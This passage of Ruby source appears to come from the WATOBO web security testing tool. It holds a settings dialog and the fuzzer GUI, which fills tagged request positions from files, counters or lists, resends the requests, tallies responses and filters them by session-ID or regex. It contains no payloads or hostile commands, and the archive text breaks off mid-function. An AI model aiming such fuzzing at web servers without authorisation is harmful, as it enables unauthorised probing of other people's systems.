Chats",LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) @excludedChats = FXDataTarget.new('') @excludedChats.value = @project.scan_settings[:excluded_chats].join(", ") FXTextField.new(gbox, 0, @excludedChats, FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|FRAME_GROOVE|FRAME_SUNKEN) frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) button = FXButton.new(frame, "View/Edit" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) button.enable button.connect(SEL_COMMAND) do |sender, sel, item| end @ignoreEqualChats = FXCheckButton.new(frame, "Ignore Similar Chats", nil, 0, ICON_AFTER_TEXT|LAYOUT_LEFT) @ignoreEqualChats.checkState = false #-------------------------- Proxy ---------------------------------# gbox = FXGroupBox.new(self, "Forwarding Proxy",LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) FXLabel.new(frame, "Current: ") @forwardingProxy = FXDataTarget.new('') FXTextField.new(frame, 0, @forwardingProxy, FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|FRAME_GROOVE|FRAME_SUNKEN) @forwardingProxy.value = @project.settings[:proxy] button = FXButton.new(frame, "View/Edit" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) button.enable button.connect(SEL_COMMAND, method(:startProxyDialog)) #-------------------------- Session Management ---------------------------------# gbox = FXGroupBox.new(self, "Session Management",LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXHorizontalFrame.new(gbox, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_RIGHT) #FXLabel.new(frame, " ") button = FXButton.new(frame, "View/Edit" , nil, nil, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) button.enable button.connect(SEL_COMMAND, method(:startSessionManagementDialog)) end end end end if __FILE__ == $0 require '../utils/check_regex' require '../project' class TestGui < FXMainWindow class DummyProject < Watobo::Project def initialize() super(nil,Hash.new) end def listSites return ["127.0.0.1"] end end def startDialog project = DummyProject.new() dlg = Watobo::Gui::FullScanDialog.new(self,project,DECOR_TITLE|DECOR_BORDER) if dlg.execute != 0 puts dlg.details.to_yaml end end def initialize(app) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) pbButton = FXButton.new(frame, "create FXProgressBar",:opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT,:padLeft => 10, :padRight => 10, :padTop => 5, :padBottom => 5) # @project = pbButton.connect(SEL_COMMAND) { startDialog() } end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear startDialog() end end application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new(application) application.create application.run end watobo-1.0.1/lib/watobo/gui/fuzzer_gui.rb000077500000000000000000001563461366346341400204030ustar00rootroot00000000000000require 'watobo/gui/request_editor.rb' # @private module Watobo #:nodoc: all module Gui class FuzzerCheck < Watobo::ActiveCheck def initialize(project, fuzzer_list, filter_list, requestEditor, prefs={}) super(project.object_id, prefs) @fuzzer_list = fuzzer_list @requestEditor = requestEditor @filter_list = filter_list @prefs = prefs end def fuzzels(fuzzers, index=0, result=nil) begin unless fuzzers[index].nil? fuzzers[index].run(result) do |fuzz| if index < fuzzers.length - 1 fuzzels(fuzzers, index+1, fuzz) do |sr| yield sr end else yield fuzz end end end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def reset() end def generateChecks(chat) unless @fuzzer_list.empty? fuzzels(@fuzzer_list) do |fuzzle| test_fuzzle = Hash.new test_fuzzle.update YAML.load(YAML.dump(fuzzle)) checker = proc { #puts test_fuzzle fuzz_request = @requestEditor.parseRequest(test_fuzzle) fuzz_request.extend Watobo::Mixin::Shaper::Web10 fuzz_request.extend Watobo::Mixin::Parser::Web10 fuzz_request.extend Watobo::Mixin::Parser::Url test_request, test_response = doRequest(fuzz_request, @prefs) notify(:stats, test_response) notify(:fuzzer_match, test_fuzzle, test_request, test_response, test_response.join) if @filter_list.empty? @filter_list.each do |f| matches = f.func.call(test_response) if f.func.respond_to? :call matches.each do |match| notify(:fuzzer_match, test_fuzzle, test_request, test_response, match) end end [test_request, test_response] } yield checker end end end end class FuzzerTag attr :name attr :generators attr :collector attr :trigger def is_tag?() true end def addGenerator(gen) @generators.push gen end def deleteGenerator(gen) @generators.delete(gen) end def run(result) @generators.each do |g| g.run(result) { |x| yield x } end end def initialize(name) @name = name @generators = [] @collector = nil @trigger = nil end end class CreateFuzzerDlg < FXDialogBox def tag @tag_dt.value end def initialize(owner) super(owner, "Create New Tag", DECOR_TITLE|DECOR_BORDER) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Enter Label For Tag:") input = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X) @tag_dt = FXDataTarget.new('') @tag_text = FXTextField.new(input, 1, :target => @tag_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_COLUMN) FXLabel.new(main, "Note:\nTo define the position in the request enclose the tag name\nbetween '%%', eg. '%%tag%%'.\nIt will turn green if the given tag name is correct.\n" + "Don't forget to specify a generator!").justify = JUSTIFY_LEFT @tag_text.setFocus() @tag_text.setDefault() @tag_dt.connect(SEL_COMMAND) { @accept_btn.setFocus() @accept_btn.setDefault() } buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept @accept_btn = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end end class CreateActionDlg < FXDialogBox def getAction() return @actionSelection.createAction() end def initialize(owner) super(owner, "Create Action", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 500) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @actionSelection = ActionSelect.new(main, self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding => 0) buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end end class CreateGeneratorDlg < FXDialogBox def getGenerator(fuzzer) return @fuzzerSelection.createGenerator(fuzzer) end def initialize(owner) super(owner, "Create Generator", DECOR_TITLE|DECOR_BORDER) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding => 0) @fuzzerSelection = FuzzerGenSelect.new(main, self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding => 0) buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end end class CreateFilterDlg < FXDialogBox def filter() return @filterFrame.selection() end def initialize(owner, project) super(owner, "Create Filter", DECOR_TITLE|DECOR_BORDER) main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding => 0) @filterFrame = FilterFrame.new(main, project.getSidPatterns, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding => 0) buttons = FXHorizontalFrame.new(main, :opts => LAYOUT_SIDE_BOTTOM|LAYOUT_FILL_X|PACK_UNIFORM_WIDTH, :padLeft => 40, :padRight => 40, :padTop => 20, :padBottom => 20) # Accept accept = FXButton.new(buttons, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) # Cancel FXButton.new(buttons, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end end class FuzzRequestEditor < Watobo::Gui::RequestEditor def highlight(pattern) sindex = nil eindex = nil dummy = @textbox.to_s @textbox.setText(dummy) pos = 0 @pattern_matches.clear loop do sindex, eindex = @textbox.findText(pattern, pos, SEARCH_EXACT|SEARCH_IGNORECASE|SEARCH_FORWARD) # puts sindex sindex, eindex = @textbox.findText(pattern, pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex # puts sindex sindex, eindex = @textbox.findText(Regexp.quote(pattern), pos, :flags => SEARCH_REGEX|SEARCH_IGNORECASE|SEARCH_FORWARD) if not sindex break if not sindex or sindex.length == 0 pos = eindex.last+1 sindex.length.times do |i| start = sindex[i] len = eindex[i] - sindex[i] @pattern_matches.push [start, len] if start >= 0 end break if sindex.last < 0 # puts sindex end # puts "* found pattern #{pattern} #{@pattern_matches.length} times" @pattern_matches.each do |start, len| begin style = @style match = @textbox.to_s.slice(start, len) # puts "#{match}/#{start}/#{len}" match.gsub!(/%%/, '') style = @tags.include?(match) ? 1 : 2 @textbox.changeStyle(start, len, style) rescue => bang puts "outch" puts bang end end return @pattern_matches end def parseRequest(fuzzels) begin new_request = nil if fuzzels then new_request = @textbox.to_s fuzzels.each do |marker, value| new_request.gsub!(/%%#{marker}%%/, value.to_s) end end return Watobo::Utils.text2request(new_request) rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def addTag(tag) @tags.push tag end def removeTag(tag) @tags.delete(tag) end def highlightTags() highlight("(%%[^%]*%%)") end def initialize(owner, opts) super(owner, opts) @tags = [] end end class Action attr :action_type attr :func attr :info def is_action? true end def initialize(action_proc, prefs) @func = action_proc @action_type = prefs[:action_type] || "undefined" @info = prefs[:info] || "undefined" end end class Filter attr :func attr :filter_type attr :value attr :info def is_filter? true end def initialize(filter_proc, prefs) @filter_type = prefs[:filter_type] || "undefined" @value = prefs[:value] || "undefined" @func = filter_proc @info = prefs[:info] || "undefined" end end class StatisticsFrame < FXVerticalFrame def clearView() @count_total = 0 clearResponseCodeTable() clearResponseLengthTable() end def addResponse(response) @log_queue << response end def clearResponseCodeTable() @response_code_tbl.clearItems() @response_code_tbl.setTableSize(0, 2) @response_code_tbl.setColumnText(0, "STATUS") @response_code_tbl.setColumnText(1, "COUNT") @response_code_tbl.rowHeader.width = 0 @response_code_tbl.setColumnWidth(0, 70) @response_code_tbl.setColumnWidth(1, 70) end def start_update_timer FXApp.instance.addTimeout(250, :repeat => true) { #print @log_queue.length while @log_queue.length > 0 response = @log_queue.deq if response.respond_to? :status @count_total += 1 @count_text.text = "Total: #{@count_total}" cstatus = response.status count_item = nil @response_code_tbl.getNumRows.times do |i| rc_item = @response_code_tbl.getItem(i, 0) count_item = @response_code_tbl.getItem(i, 1) if rc_item.text == response.status break unless count_item.nil? end if count_item.nil? lastRowIndex = @response_code_tbl.getNumRows @response_code_tbl.appendRows(1) @response_code_tbl.setItemText(lastRowIndex, 0, cstatus) @response_code_tbl.setItemText(lastRowIndex, 1, "1") count_item = @response_code_tbl.getItem(lastRowIndex, 1) else c = count_item.text.to_i count_item.text = (c + 1).to_s end @count_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end } end def clearResponseLengthTable() @response_length_tbl.clearItems() @response_length_tbl.setTableSize(0, 2) @response_length_tbl.columnHeader.height = 0 @response_length_tbl.rowHeader.width = 0 @response_length_tbl.setColumnWidth(0, 40) @response_length_tbl.setColumnWidth(1, 40) lastRowIndex = @response_length_tbl.getNumRows %w( MIN MAX AVRG ).each do |i| lastRowIndex = @response_length_tbl.getNumRows @response_length_tbl.appendRows(1) @response_length_tbl.setItemText(lastRowIndex, 0, i) @response_length_tbl.setItemText(lastRowIndex, 1, "0") @response_length_tbl.getItem(lastRowIndex, 0).justify = FXTableItem::LEFT @response_length_tbl.getItem(lastRowIndex, 1).justify = FXTableItem::LEFT end end def initialize(parent, opts) super(parent, opts) @log_queue = Queue.new @count_total = 0 @count_text = FXLabel.new(self, "Total: 0") @count_text.setFont(FXFont.new(getApp(), "helvetica", 11, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) counter_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) response_code_gb = FXGroupBox.new(counter_frame, "Response Codes", LAYOUT_SIDE_BOTTOM|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) frame = FXVerticalFrame.new(response_code_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @response_code_tbl = FXTable.new(sunken, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) @response_code_tbl.columnHeader.connect(SEL_COMMAND) {} clearResponseCodeTable() response_length_gb = FXGroupBox.new(counter_frame, "Response Length", LAYOUT_SIDE_BOTTOM|FRAME_GROOVE|LAYOUT_FILL_Y, 0, 0, 0, 0) frame = FXVerticalFrame.new(response_length_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) sunken = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @response_length_tbl = FXTable.new(sunken, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) @response_length_tbl.columnHeader.connect(SEL_COMMAND) {} clearResponseLengthTable() start_update_timer end end class FilterFrame < FXVerticalFrame def selection() filter = case @filter_dt.value when 0 index = @patternCombo.currentItem if @patternCombo.getItemText(index) func = proc { |response| pattern = @patternCombo.getItemText(index) matchlist = [] response.each do |line| if line =~ /#{pattern}/i then match = $2 matchlist.push "#{match}" end end matchlist } Filter.new(func, :filter_type => "SID", :value => "#{filter}", :info => "#{@patternCombo.getItemText(index)}") else nil end when 1 if @regex_filter_dt.value != '' then func = proc { |response| pattern = @regex_filter_dt.value matchlist = [] # puts "...regex (#{pattern})..." # puts response #response.each do |line| #if line =~ /#{pattern}/i then if @negate_regex_cb.checked? puts "* filter negate regex" unless response.join =~ /#{pattern}/i then match = $1 puts "* #{match}" match = "#{response.join}" unless match matchlist.push "#{match}" end else if response.join =~ /#{pattern}/i then match = $1 puts "* #{match}" match = "#{response.join}" unless match matchlist.push "#{match}" end end #end matchlist } Filter.new(func, :filter_type => "Regex", :value => "#{filter}", :info => "#{@regex_filter_dt.value}") else nil end end return filter end def initialize(owner, sidpatterns, opts) @sid_patterns = sidpatterns super(owner, opts) @filter_dt = FXDataTarget.new(0) group_box = FXGroupBox.new(self, "Filter", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) sid_frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) @sid_rb = FXRadioButton.new(sid_frame, "Session-ID", @filter_dt, FXDataTarget::ID_OPTION) regex_frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) @regex_rb = FXRadioButton.new(regex_frame, "Regex", @filter_dt, FXDataTarget::ID_OPTION + 1) @regex_filter_dt = FXDataTarget.new('') @regex_filter = FXTextField.new(regex_frame, 1, :target => @regex_filter_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_COLUMN) @negate_regex_cb = FXCheckButton.new(group_box, "negate", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP|LAYOUT_RIGHT|LAYOUT_FILL_Y) # group_box = FXGroupBox.new(self, "Collection",LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) # frame = FXVerticalFrame.new(group_box, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_GROOVE) # @collectionList = FXList.new(frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @filter_dt.connect(SEL_COMMAND) { @sid_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @regex_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) } if @sid_patterns then @patternCombo = FXComboBox.new(sid_frame, @sid_patterns.length, nil, 0, :opts => COMBOBOX_INSERT_LAST|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP|LAYOUT_FILL_X) @patternCombo.numVisible = @sid_patterns.length @sid_patterns.each do |pattern| @patternCombo.appendItem(pattern, nil) end else FXLabel.new(sid_frame, "NO SID PATTERNS DEFINED!") @sid_rb.disable @filter_dt.value = 1 @regex_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) end @sid_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @regex_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) # group_box = FXGroupBox.new(self, "Test", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) # @sample_count_dt = FXDataTarget.new('') # frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) # @sample_count = FXTextField.new(frame, 3, :target => @sample_count_dt, :selector => FXDataTarget::ID_VALUE, # :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN) # button = FXButton.new(frame, "Sample", nil, nil, 0, FRAME_RAISED|FRAME_THICK) # button.connect(SEL_COMMAND) do |sender, sel, ptr| # @interface.startSample() # end # frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "Matched:") end end class FuzzerGenSelect < FXVerticalFrame include Watobo def updateFields @file_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @gen_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @list_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @sourceFileText.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cstartText.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cstopText.handle(self, FXSEL(SEL_UPDATE, 0), nil) @cstepText.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def selectFile(sender, sel, ptr) filename = FXFileDialog.getOpenFilename(self, "Select Source File", @source_file.value) if filename != "" then if File.exist?(filename) then @source_file.value = filename @sourceFileText.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end def onValueSelect(sender, sel, selected) item = @valueList.currentItem if item >= 0 then @new_list_item_dt.value = @valueList.getItemText(item) end end def removeValue(sender, sel, ptr) item = @valueList.currentItem if item >= 0 then @valueList.removeItem(item) end end def addValue(sender, sel, ptr) if @new_list_item_dt.value != '' then index = @valueList.appendItem(@new_list_item_dt.value) @valueList.makeItemVisible(index) @new_list_item_dt.value = '' @new_list_item.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end def createGenerator(fuzzer) gen = case @source_dt.value when 0 #puts "File Generator Selected" Watobo::FuzzFile.new(fuzzer, @source_file.value) when 1 # counter selected Watobo::FuzzCounter.new(fuzzer, :start => @cstart.value.to_i, :stop => @cstop.value.to_i, #:count => @ccount.value.to_i, :step => @cstep.value.to_i) when 2 list = [] @valueList.each do |item| # puts item list.push item.text end Watobo::FuzzList.new(fuzzer, list) end return gen end def disableFrame(frame) frame.children.each do |c| c.children.each do |sc| sc.disable sc.selBackColor = sc.parent.backColor if sc.respond_to? :selBackColor end c.disable c.selBackColor = c.parent.backColor if c.respond_to? :selBackColor end end def enableFrame(frame) frame.children.each do |c| c.children.each do |sc| sc.enable sc.selBackColor = FXColor::White if sc.respond_to? :selBackColor end c.enable c.selBackColor = FXColor::White if c.respond_to? :selBackColor end end def initialize(owner, interface, opts) super(owner, opts) @interface = interface group_box = FXGroupBox.new(self, "Select Source", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) @source_dt = FXDataTarget.new(0) @source_dt.connect(SEL_COMMAND) do case @source_dt.value when 0 # puts "File" enableFrame(@file_select_frame) disableFrame(@counter_frame) disableFrame(@list_frame) when 1 disableFrame(@file_select_frame) disableFrame(@list_frame) enableFrame(@counter_frame) # puts "Generator" when 2 disableFrame(@counter_frame) enableFrame(@list_frame) disableFrame(@file_select_frame) # puts "List" end @file_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @gen_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @list_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) end file_rb_frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) @file_rb = FXRadioButton.new(file_rb_frame, "File", @source_dt, FXDataTarget::ID_OPTION) @file_select_frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X, :padding => 0) @source_file = FXDataTarget.new('') @sourceFileText = FXTextField.new(@file_select_frame, 1, :target => @source_file, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_COLUMN) button = FXButton.new(@file_select_frame, "Select") button.connect(SEL_COMMAND, method(:selectFile)) counter_rb_frame = FXHorizontalFrame.new(group_box, LAYOUT_FILL_X) @gen_rb = FXRadioButton.new(counter_rb_frame, "Counter", @source_dt, FXDataTarget::ID_OPTION + 1) @counter_frame = FXHorizontalFrame.new(group_box, LAYOUT_FILL_X, :padding => 0) @cstep = FXDataTarget.new(0) @cstepText = FXTextField.new(@counter_frame, 3, :target => @cstep, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) FXLabel.new(@counter_frame, "Step", nil, :opts => LAYOUT_RIGHT) @cstop = FXDataTarget.new(0) @cstopText = FXTextField.new(@counter_frame, 3, :target => @cstop, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) FXLabel.new(@counter_frame, "Stop", nil, :opts => LAYOUT_RIGHT) @cstart = FXDataTarget.new(0) @cstartText = FXTextField.new(@counter_frame, 3, :target => @cstart, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_COLUMN|LAYOUT_RIGHT) FXLabel.new(@counter_frame, "Start", nil, :opts => LAYOUT_RIGHT) list_rb_frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @list_rb = FXRadioButton.new(list_rb_frame, "List", @source_dt, FXDataTarget::ID_OPTION + 2) @list_frame = FXVerticalFrame.new(list_rb_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) frame = FXHorizontalFrame.new(@list_frame, :opts => LAYOUT_FILL_X, :padding => 0) @new_list_item_dt = FXDataTarget.new('') @new_list_item = FXTextField.new(frame, 10, :target => @new_list_item_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) # FXLabel.new(frame, "Value: ") @addButton = FXButton.new(frame, "Add", nil, nil, 0, :opts => FRAME_RAISED|FRAME_THICK) @addButton.connect(SEL_COMMAND, method(:addValue)) @remButton = FXButton.new(frame, "Remove", nil, nil, 0, :opts => FRAME_RAISED|FRAME_THICK) @remButton.connect(SEL_COMMAND, method(:removeValue)) list_border = FXVerticalFrame.new(@list_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_GROOVE, :padding => 0) @valueList = FXList.new(list_border, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @valueList.numVisible = 4 @valueList.connect(SEL_COMMAND, method(:onValueSelect)) enableFrame(@file_select_frame) disableFrame(@counter_frame) disableFrame(@list_frame) updateFields() end end class ActionSelect < FXVerticalFrame include Watobo def updateFields @b64_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @url_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @md5_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @ruby_proc_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def createAction() action = case @source_dt.value when 0 action_proc = proc { |input| Base64.encode64(input) } Action.new(action_proc, :action_type => 'Encode: Base64') when 1 action_proc = proc { |input| CGI::escape(input) } Action.new(action_proc, :action_type => 'Encode: URL') when 2 action_proc = proc { |input| Digest::MD5.hexdigest(input) } Action.new(action_proc, :action_type => 'Hash: MD5') when 3 begin # puts "* Action: Proc" # puts @textbox.to_s code = @textbox.to_s action_proc = eval(code) # puts action_proc rescue SyntaxError => bang puts bang puts code rescue LocalJumpError => bang puts bang puts code rescue SecurityError => bang puts "desired functionality forbidden. it may harm your system!" puts code rescue => bang puts bang puts code end if action_proc Action.new(action_proc, :action_type => "Ruby: Proc", :info => "#{@textbox.to_s}") else nil end end return action end def initialize(owner, interface, opts) super(owner, opts) @interface = interface group_box = FXGroupBox.new(self, "Select Action", LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) @source_dt = FXDataTarget.new(0) @source_dt.connect(SEL_COMMAND) do @b64_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @url_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @md5_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) @ruby_proc_rb.handle(self, FXSEL(SEL_UPDATE, 0), nil) if @source_dt.value != 3 @textbox.enabled = false @textbox.backColor = FXColor::LightGrey else @textbox.enabled = true @textbox.backColor = FXColor::White end end begin frame = FXVerticalFrame.new(group_box, LAYOUT_FILL_X) @b64_rb = FXRadioButton.new(frame, "Encode Base64", @source_dt, FXDataTarget::ID_OPTION) frame = FXVerticalFrame.new(group_box, LAYOUT_FILL_X) @url_rb = FXRadioButton.new(frame, "Encode URL", @source_dt, FXDataTarget::ID_OPTION + 1) # @textbox = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :width => 100, :height => 100) frame = FXHorizontalFrame.new(group_box, :opts => LAYOUT_FILL_X) @md5_rb = FXRadioButton.new(frame, "Hash MD5", @source_dt, FXDataTarget::ID_OPTION + 2) frame = FXVerticalFrame.new(group_box, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) @ruby_proc_rb = FXRadioButton.new(frame, "Ruby Proc", @source_dt, FXDataTarget::ID_OPTION + 3) text_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_THICK|FRAME_SUNKEN, :padding => 0) @textbox = FXText.new(text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :width => 100, :height => 100) proc_skeleton = "proc { |input|\n# place your code betweenhere\n# e.g. 'input + \"TAIL\"\n\n\n# and here\n}" @textbox.setText(proc_skeleton) @textbox.enabled = false @textbox.backColor = FXColor::LightGrey # @textbox.editable = true rescue => bang puts "AAAAAA" puts bang end updateFields() end end class FuzzerGui < FXDialogBox include Watobo::Gui::Utils include Watobo::Gui::Icons include Watobo::Constants def onRequestReset(sender, sel, item) @requestEditor.setText(@request) end def hide() @scanner.cancel() if @scanner super end def listTags() tags = [] tags.concat @sourceSelect.getTags() return tags end def initTable(table) table.clearItems() table.setTableSize(0, 2) table.visibleRows = 20 table.rowHeader.width = 0 table.setColumnText(0, "Tag/Value") table.setColumnText(1, "Match") end def selectLogDirectory(sender, sel, item) workspace_dt = FXFileDialog.getOpenDirectory(self, "Select Log Directory", @log_dir_dt.value) if workspace_dt != "" then if File.exist?(workspace_dt) then @log_dir_dt.value = workspace_dt @log_dir_text.handle(self, FXSEL(SEL_UPDATE, 0), nil) end end end def saveMatches(sender, sel, ptr) begin # puts @project.settings[:session_path] # path = @project.settings[:session_path]+"/" filename = FXFileDialog.getSaveFilename(self, "Save file", nil, "All Files (*)") if filename != "" if File.exist?(filename) response = FXMessageBox.question(self, MBOX_YES_NO, "File exists", "Overwrite existing file?") return 0 if response != MBOX_CLICKED_YES end r = [] @matchTable.numRows.times do |i| #puts items[1].to_s tv = @matchTable.getItemData(i, 0) data = @matchTable.getItemData(i, 1) if data r << {:tag => tv, :data => data.strip} end end fh = File.new(filename, "w") fh.puts YAML.dump(r) fh.close end rescue => bang puts bang 